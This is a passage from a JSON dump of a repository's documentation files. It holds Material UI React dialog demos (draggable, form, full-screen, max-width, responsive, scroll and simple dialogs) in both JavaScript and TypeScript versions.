justo odio,\n            dapibus ac facilisis in, egestas eget quam. Morbi leo risus, porta ac\n            consectetur ac, vestibulum at eros.\n          </Typography>\n          <Typography gutterBottom>\n            Praesent commodo cursus magna, vel scelerisque nisl consectetur et.\n            Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor.\n          </Typography>\n          <Typography gutterBottom>\n            Aenean lacinia bibendum nulla sed consectetur. Praesent commodo cursus\n            magna, vel scelerisque nisl consectetur et. Donec sed odio dui. Donec\n            ullamcorper nulla non metus auctor fringilla.\n          </Typography>\n        </DialogContent>\n        <DialogActions>\n          <Button autoFocus onClick={handleClose}>\n            Save changes\n          </Button>\n        </DialogActions>\n      </BootstrapDialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/DraggableDialog.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Paper from '@mui/material/Paper';\nimport Draggable from 'react-draggable';\n\nfunction PaperComponent(props) {\n  const nodeRef = React.useRef(null);\n  return (\n    <Draggable\n      nodeRef={nodeRef}\n      handle=\"#draggable-dialog-title\"\n      cancel={'[class*=\"MuiDialogContent-root\"]'}\n    >\n      <Paper {...props} ref={nodeRef} />\n    </Draggable>\n  );\n}\n\nexport default function DraggableDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open draggable dialog\n      </Button>\n      <Dialog\n        open={open}\n        onClose={handleClose}\n        PaperComponent={PaperComponent}\n        aria-labelledby=\"draggable-dialog-title\"\n      >\n        <DialogTitle style={{ cursor: 'move' }} id=\"draggable-dialog-title\">\n          Subscribe\n        </DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            To subscribe to this website, please enter your email address here. We\n            will send updates occasionally.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button autoFocus onClick={handleClose}>\n            Cancel\n          </Button>\n          <Button onClick={handleClose}>Subscribe</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/DraggableDialog.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Paper, { PaperProps } from '@mui/material/Paper';\nimport Draggable from 'react-draggable';\n\nfunction PaperComponent(props: PaperProps) {\n  const nodeRef = React.useRef<HTMLDivElement>(null);\n  return (\n    <Draggable\n      nodeRef={nodeRef as React.RefObject<HTMLDivElement>}\n      handle=\"#draggable-dialog-title\"\n      cancel={'[class*=\"MuiDialogContent-root\"]'}\n    >\n      <Paper {...props} ref={nodeRef} />\n    </Draggable>\n  );\n}\n\nexport default function DraggableDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open draggable dialog\n      </Button>\n      <Dialog\n        open={open}\n        onClose={handleClose}\n        PaperComponent={PaperComponent}\n        aria-labelledby=\"draggable-dialog-title\"\n      >\n        <DialogTitle style={{ cursor: 'move' }} id=\"draggable-dialog-title\">\n          Subscribe\n        </DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            To subscribe to this website, please enter your email address here. We\n            will send updates occasionally.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button autoFocus onClick={handleClose}>\n            Cancel\n          </Button>\n          <Button onClick={handleClose}>Subscribe</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/FormDialog.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport TextField from '@mui/material/TextField';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\n\nexport default function FormDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleSubmit = (event) => {\n    event.preventDefault();\n    const formData = new FormData(event.currentTarget);\n    const formJson = Object.fromEntries(formData.entries());\n    const email = formJson.email;\n    console.log(email);\n    handleClose();\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open form dialog\n      </Button>\n      <Dialog open={open} onClose={handleClose}>\n        <DialogTitle>Subscribe</DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            To subscribe to this website, please enter your email address here. We\n            will send updates occasionally.\n          </DialogContentText>\n          <form onSubmit={handleSubmit} id=\"subscription-form\">\n            <TextField\n              autoFocus\n              required\n              margin=\"dense\"\n              id=\"name\"\n              name=\"email\"\n              label=\"Email Address\"\n              type=\"email\"\n              fullWidth\n              variant=\"standard\"\n            />\n          </form>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose}>Cancel</Button>\n          <Button type=\"submit\" form=\"subscription-form\">\n            Subscribe\n          </Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/FormDialog.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport TextField from '@mui/material/TextField';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\n\nexport default function FormDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    event.preventDefault();\n    const formData = new FormData(event.currentTarget);\n    const formJson = Object.fromEntries((formData as any).entries());\n    const email = formJson.email;\n    console.log(email);\n    handleClose();\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open form dialog\n      </Button>\n      <Dialog open={open} onClose={handleClose}>\n        <DialogTitle>Subscribe</DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            To subscribe to this website, please enter your email address here. We\n            will send updates occasionally.\n          </DialogContentText>\n          <form onSubmit={handleSubmit} id=\"subscription-form\">\n            <TextField\n              autoFocus\n              required\n              margin=\"dense\"\n              id=\"name\"\n              name=\"email\"\n              label=\"Email Address\"\n              type=\"email\"\n              fullWidth\n              variant=\"standard\"\n            />\n          </form>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose}>Cancel</Button>\n          <Button type=\"submit\" form=\"subscription-form\">\n            Subscribe\n          </Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/FullScreenDialog.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport CloseIcon from '@mui/icons-material/Close';\nimport Slide from '@mui/material/Slide';\n\nconst Transition = React.forwardRef(function Transition(props, ref) {\n  return <Slide direction=\"up\" ref={ref} {...props} />;\n});\n\nexport default function FullScreenDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open full-screen dialog\n      </Button>\n      <Dialog\n        fullScreen\n        open={open}\n        onClose={handleClose}\n        slots={{\n          transition: Transition,\n        }}\n      >\n        <AppBar sx={{ position: 'relative' }}>\n          <Toolbar>\n            <IconButton\n              edge=\"start\"\n              color=\"inherit\"\n              onClick={handleClose}\n              aria-label=\"close\"\n            >\n              <CloseIcon />\n            </IconButton>\n            <Typography sx={{ ml: 2, flex: 1 }} variant=\"h6\" component=\"div\">\n              Sound\n            </Typography>\n            <Button autoFocus color=\"inherit\" onClick={handleClose}>\n              save\n            </Button>\n          </Toolbar>\n        </AppBar>\n        <List>\n          <ListItemButton>\n            <ListItemText primary=\"Phone ringtone\" secondary=\"Titania\" />\n          </ListItemButton>\n          <Divider />\n          <ListItemButton>\n            <ListItemText\n              primary=\"Default notification ringtone\"\n              secondary=\"Tethys\"\n            />\n          </ListItemButton>\n        </List>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/FullScreenDialog.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport List from '@mui/material/List';\nimport Divider from '@mui/material/Divider';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport CloseIcon from '@mui/icons-material/Close';\nimport Slide from '@mui/material/Slide';\nimport { TransitionProps } from '@mui/material/transitions';\n\nconst Transition = React.forwardRef(function Transition(\n  props: TransitionProps & {\n    children: React.ReactElement<unknown>;\n  },\n  ref: React.Ref<unknown>,\n) {\n  return <Slide direction=\"up\" ref={ref} {...props} />;\n});\n\nexport default function FullScreenDialog() {\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open full-screen dialog\n      </Button>\n      <Dialog\n        fullScreen\n        open={open}\n        onClose={handleClose}\n        slots={{\n          transition: Transition,\n        }}\n      >\n        <AppBar sx={{ position: 'relative' }}>\n          <Toolbar>\n            <IconButton\n              edge=\"start\"\n              color=\"inherit\"\n              onClick={handleClose}\n              aria-label=\"close\"\n            >\n              <CloseIcon />\n            </IconButton>\n            <Typography sx={{ ml: 2, flex: 1 }} variant=\"h6\" component=\"div\">\n              Sound\n            </Typography>\n            <Button autoFocus color=\"inherit\" onClick={handleClose}>\n              save\n            </Button>\n          </Toolbar>\n        </AppBar>\n        <List>\n          <ListItemButton>\n            <ListItemText primary=\"Phone ringtone\" secondary=\"Titania\" />\n          </ListItemButton>\n          <Divider />\n          <ListItemButton>\n            <ListItemText\n              primary=\"Default notification ringtone\"\n              secondary=\"Tethys\"\n            />\n          </ListItemButton>\n        </List>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/MaxWidthDialog.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport Switch from '@mui/material/Switch';\n\nexport default function MaxWidthDialog() {\n  const [open, setOpen] = React.useState(false);\n  const [fullWidth, setFullWidth] = React.useState(true);\n  const [maxWidth, setMaxWidth] = React.useState('sm');\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleMaxWidthChange = (event) => {\n    setMaxWidth(\n      // @ts-expect-error autofill of arbitrary value is not handled.\n      event.target.value,\n    );\n  };\n\n  const handleFullWidthChange = (event) => {\n    setFullWidth(event.target.checked);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open max-width dialog\n      </Button>\n      <Dialog\n        fullWidth={fullWidth}\n        maxWidth={maxWidth}\n        open={open}\n        onClose={handleClose}\n      >\n        <DialogTitle>Optional sizes</DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            You can set my maximum width and whether to adapt or not.\n          </DialogContentText>\n          <Box\n            noValidate\n            component=\"form\"\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              m: 'auto',\n              width: 'fit-content',\n            }}\n          >\n            <FormControl sx={{ mt: 2, minWidth: 120 }}>\n              <InputLabel htmlFor=\"max-width\">maxWidth</InputLabel>\n              <Select\n                autoFocus\n                value={maxWidth}\n                onChange={handleMaxWidthChange}\n                label=\"maxWidth\"\n                inputProps={{\n                  name: 'max-width',\n                  id: 'max-width',\n                }}\n              >\n                <MenuItem value={false}>false</MenuItem>\n                <MenuItem value=\"xs\">xs</MenuItem>\n                <MenuItem value=\"sm\">sm</MenuItem>\n                <MenuItem value=\"md\">md</MenuItem>\n                <MenuItem value=\"lg\">lg</MenuItem>\n                <MenuItem value=\"xl\">xl</MenuItem>\n              </Select>\n            </FormControl>\n            <FormControlLabel\n              sx={{ mt: 1 }}\n              control={\n                <Switch checked={fullWidth} onChange={handleFullWidthChange} />\n              }\n              label=\"Full width\"\n            />\n          </Box>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose}>Close</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/MaxWidthDialog.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Dialog, { DialogProps } from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select, { SelectChangeEvent } from '@mui/material/Select';\nimport Switch from '@mui/material/Switch';\n\nexport default function MaxWidthDialog() {\n  const [open, setOpen] = React.useState(false);\n  const [fullWidth, setFullWidth] = React.useState(true);\n  const [maxWidth, setMaxWidth] = React.useState<DialogProps['maxWidth']>('sm');\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleMaxWidthChange = (event: SelectChangeEvent<typeof maxWidth>) => {\n    setMaxWidth(\n      // @ts-expect-error autofill of arbitrary value is not handled.\n      event.target.value,\n    );\n  };\n\n  const handleFullWidthChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setFullWidth(event.target.checked);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open max-width dialog\n      </Button>\n      <Dialog\n        fullWidth={fullWidth}\n        maxWidth={maxWidth}\n        open={open}\n        onClose={handleClose}\n      >\n        <DialogTitle>Optional sizes</DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            You can set my maximum width and whether to adapt or not.\n          </DialogContentText>\n          <Box\n            noValidate\n            component=\"form\"\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              m: 'auto',\n              width: 'fit-content',\n            }}\n          >\n            <FormControl sx={{ mt: 2, minWidth: 120 }}>\n              <InputLabel htmlFor=\"max-width\">maxWidth</InputLabel>\n              <Select\n                autoFocus\n                value={maxWidth}\n                onChange={handleMaxWidthChange}\n                label=\"maxWidth\"\n                inputProps={{\n                  name: 'max-width',\n                  id: 'max-width',\n                }}\n              >\n                <MenuItem value={false as any}>false</MenuItem>\n                <MenuItem value=\"xs\">xs</MenuItem>\n                <MenuItem value=\"sm\">sm</MenuItem>\n                <MenuItem value=\"md\">md</MenuItem>\n                <MenuItem value=\"lg\">lg</MenuItem>\n                <MenuItem value=\"xl\">xl</MenuItem>\n              </Select>\n            </FormControl>\n            <FormControlLabel\n              sx={{ mt: 1 }}\n              control={\n                <Switch checked={fullWidth} onChange={handleFullWidthChange} />\n              }\n              label=\"Full width\"\n            />\n          </Box>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose}>Close</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/ResponsiveDialog.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { useTheme } from '@mui/material/styles';\n\nexport default function ResponsiveDialog() {\n  const [open, setOpen] = React.useState(false);\n  const theme = useTheme();\n  const fullScreen = useMediaQuery(theme.breakpoints.down('md'));\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open responsive dialog\n      </Button>\n      <Dialog\n        fullScreen={fullScreen}\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"responsive-dialog-title\"\n      >\n        <DialogTitle id=\"responsive-dialog-title\">\n          {\"Use Google's location service?\"}\n        </DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            Let Google help apps determine location. This means sending anonymous\n            location data to Google, even when no apps are running.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button autoFocus onClick={handleClose}>\n            Disagree\n          </Button>\n          <Button onClick={handleClose} autoFocus>\n            Agree\n          </Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/ResponsiveDialog.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { useTheme } from '@mui/material/styles';\n\nexport default function ResponsiveDialog() {\n  const [open, setOpen] = React.useState(false);\n  const theme = useTheme();\n  const fullScreen = useMediaQuery(theme.breakpoints.down('md'));\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open responsive dialog\n      </Button>\n      <Dialog\n        fullScreen={fullScreen}\n        open={open}\n        onClose={handleClose}\n        aria-labelledby=\"responsive-dialog-title\"\n      >\n        <DialogTitle id=\"responsive-dialog-title\">\n          {\"Use Google's location service?\"}\n        </DialogTitle>\n        <DialogContent>\n          <DialogContentText>\n            Let Google help apps determine location. This means sending anonymous\n            location data to Google, even when no apps are running.\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button autoFocus onClick={handleClose}>\n            Disagree\n          </Button>\n          <Button onClick={handleClose} autoFocus>\n            Agree\n          </Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/ScrollDialog.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\n\nexport default function ScrollDialog() {\n  const [open, setOpen] = React.useState(false);\n  const [scroll, setScroll] = React.useState('paper');\n\n  const handleClickOpen = (scrollType) => () => {\n    setOpen(true);\n    setScroll(scrollType);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const descriptionElementRef = React.useRef(null);\n  React.useEffect(() => {\n    if (open) {\n      const { current: descriptionElement } = descriptionElementRef;\n      if (descriptionElement !== null) {\n        descriptionElement.focus();\n      }\n    }\n  }, [open]);\n\n  return (\n    <React.Fragment>\n      <Button onClick={handleClickOpen('paper')}>scroll=paper</Button>\n      <Button onClick={handleClickOpen('body')}>scroll=body</Button>\n      <Dialog\n        open={open}\n        onClose={handleClose}\n        scroll={scroll}\n        aria-labelledby=\"scroll-dialog-title\"\n        aria-describedby=\"scroll-dialog-description\"\n      >\n        <DialogTitle id=\"scroll-dialog-title\">Subscribe</DialogTitle>\n        <DialogContent dividers={scroll === 'paper'}>\n          <DialogContentText\n            id=\"scroll-dialog-description\"\n            ref={descriptionElementRef}\n            tabIndex={-1}\n          >\n            {[...new Array(50)]\n              .map(\n                () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n              )\n              .join('\\n')}\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose}>Cancel</Button>\n          <Button onClick={handleClose}>Subscribe</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/ScrollDialog.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Dialog, { DialogProps } from '@mui/material/Dialog';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogTitle from '@mui/material/DialogTitle';\n\nexport default function ScrollDialog() {\n  const [open, setOpen] = React.useState(false);\n  const [scroll, setScroll] = React.useState<DialogProps['scroll']>('paper');\n\n  const handleClickOpen = (scrollType: DialogProps['scroll']) => () => {\n    setOpen(true);\n    setScroll(scrollType);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const descriptionElementRef = React.useRef<HTMLElement>(null);\n  React.useEffect(() => {\n    if (open) {\n      const { current: descriptionElement } = descriptionElementRef;\n      if (descriptionElement !== null) {\n        descriptionElement.focus();\n      }\n    }\n  }, [open]);\n\n  return (\n    <React.Fragment>\n      <Button onClick={handleClickOpen('paper')}>scroll=paper</Button>\n      <Button onClick={handleClickOpen('body')}>scroll=body</Button>\n      <Dialog\n        open={open}\n        onClose={handleClose}\n        scroll={scroll}\n        aria-labelledby=\"scroll-dialog-title\"\n        aria-describedby=\"scroll-dialog-description\"\n      >\n        <DialogTitle id=\"scroll-dialog-title\">Subscribe</DialogTitle>\n        <DialogContent dividers={scroll === 'paper'}>\n          <DialogContentText\n            id=\"scroll-dialog-description\"\n            ref={descriptionElementRef}\n            tabIndex={-1}\n          >\n            {[...new Array(50)]\n              .map(\n                () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n              )\n              .join('\\n')}\n          </DialogContentText>\n        </DialogContent>\n        <DialogActions>\n          <Button onClick={handleClose}>Cancel</Button>\n          <Button onClick={handleClose}>Subscribe</Button>\n        </DialogActions>\n      </Dialog>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/SimpleDialogDemo.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Button from '@mui/material/Button';\nimport Avatar from '@mui/material/Avatar';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Dialog from '@mui/material/Dialog';\nimport PersonIcon from '@mui/icons-material/Person';\nimport AddIcon from '@mui/icons-material/Add';\nimport Typography from '@mui/material/Typography';\nimport { blue } from '@mui/material/colors';\n\nconst emails = ['username@gmail.com', 'user02@gmail.com'];\n\nfunction SimpleDialog(props) {\n  const { onClose, selectedValue, open } = props;\n\n  const handleClose = () => {\n    onClose(selectedValue);\n  };\n\n  const handleListItemClick = (value) => {\n    onClose(value);\n  };\n\n  return (\n    <Dialog onClose={handleClose} open={open}>\n      <DialogTitle>Set backup account</DialogTitle>\n      <List sx={{ pt: 0 }}>\n        {emails.map((email) => (\n          <ListItem disablePadding key={email}>\n            <ListItemButton onClick={() => handleListItemClick(email)}>\n              <ListItemAvatar>\n                <Avatar sx={{ bgcolor: blue[100], color: blue[600] }}>\n                  <PersonIcon />\n                </Avatar>\n              </ListItemAvatar>\n              <ListItemText primary={email} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n        <ListItem disablePadding>\n          <ListItemButton\n            autoFocus\n            onClick={() => handleListItemClick('addAccount')}\n          >\n            <ListItemAvatar>\n              <Avatar>\n                <AddIcon />\n              </Avatar>\n            </ListItemAvatar>\n            <ListItemText primary=\"Add account\" />\n          </ListItemButton>\n        </ListItem>\n      </List>\n    </Dialog>\n  );\n}\n\nSimpleDialog.propTypes = {\n  onClose: PropTypes.func.isRequired,\n  open: PropTypes.bool.isRequired,\n  selectedValue: PropTypes.string.isRequired,\n};\n\nexport default function SimpleDialogDemo() {\n  const [open, setOpen] = React.useState(false);\n  const [selectedValue, setSelectedValue] = React.useState(emails[1]);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (value) => {\n    setOpen(false);\n    setSelectedValue(value);\n  };\n\n  return (\n    <div>\n      <Typography variant=\"subtitle1\" component=\"div\">\n        Selected: {selectedValue}\n      </Typography>\n      <br />\n      <Button variant=\"outlined\" onClick={handleClickOpen}>\n        Open simple dialog\n      </Button>\n      <SimpleDialog\n        selectedValue={selectedValue}\n        open={open}\n        onClose={handleClose}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/dialogs/SimpleDialogDemo.preview",
    "content": "<Typography variant=\"subtitle1\" component=\"div\">\n  Selected: {selectedValue}\n</Typography>\n<br />\n<Button variant=\"outlined\" onClick={handleClickOpen}>\n  Open simple dialog\n</Button>\n<SimpleDialog\n  selectedValue={selectedValue}\n  open={open}\n  onClose={handleClose}\n/>"
  },
  {
    "path": "docs/data/material/components/dialogs/SimpleDialogDemo.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport Avatar from '@mui/material/Avatar';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemText from '@mui/material/ListItemText';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Dialog from '@mui/material/Dialog';\nimport PersonIcon from '@mui/icons-material/Person';\nimport AddIcon from '@mui/icons-material/Add';\nimport Typography from '@mui/material/Typography';\nimport { blue } from '@mui/material/colors';\n\nconst emails = ['username@gmail.com', 'user02@gmail.com'];\n\nexport interface SimpleDialogProps {\n  open: boolean;\n  selectedValue: string;\n  onClose: (value: string) => void;\n}\n\nfunction SimpleDialog(props: SimpleDialogProps) {\n  const { onClose, selectedValue, open } = props;\n\n  const handleClose = () => {\n    onClose(selectedValue);\n  };\n\n  const handleListItemClick = (value: string) => {\n    onClose(value);\n  };\n\n  return (\n    <Dialog onClose={handleClose} open={open}>\n      <DialogTitle>Set backup account</DialogTitle>\n      <List sx={{ pt: 0 }}>\n        {emails.map((email) => (\n          <ListItem disablePadding key={email}>\n            <ListItemButton onClick={() => handleListItemClick(email)}>\n              <ListItemAvatar>\n                <Avatar sx={{ bgcolor: blue[100], color: blue[600] }}>\n                  <PersonIcon />\n                </Avatar>\n              </ListItemAvatar>\n              <ListItemText primary={email} />\n            </ListItemButton>\n          </ListItem>\n        ))}\n        <ListItem disablePadding>\n          <ListItemButton\n            autoFocus\n            onClick={() => handleListItemClick('addAccount')}\n          >\n            <ListItemAvatar>\n              <Avatar>\n                <AddIcon />\n              </Avatar>\n            </ListItemAvatar>\n            <ListItemText primary=\"Add account\" />\n          </ListItemButton>\n        </ListItem>\n      </List>\n    </Dialog>\n  );\n}\n\nexport default function SimpleDialogDemo() {\n  const [open, setOpen] = React.useState(false);\n  const [selectedValue, setSelectedValue] = React.useState(emails[1]);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = (value: string) => {\n    setOpen(false);\n    setSelectedValue(value);\n  };\n\n  return (\n    <div>\n      <Typography variant=\"subtitle1\" component=\"div\">\n        Selected: {selectedValue}\n      </Typography>\n      <br />\n      <Button 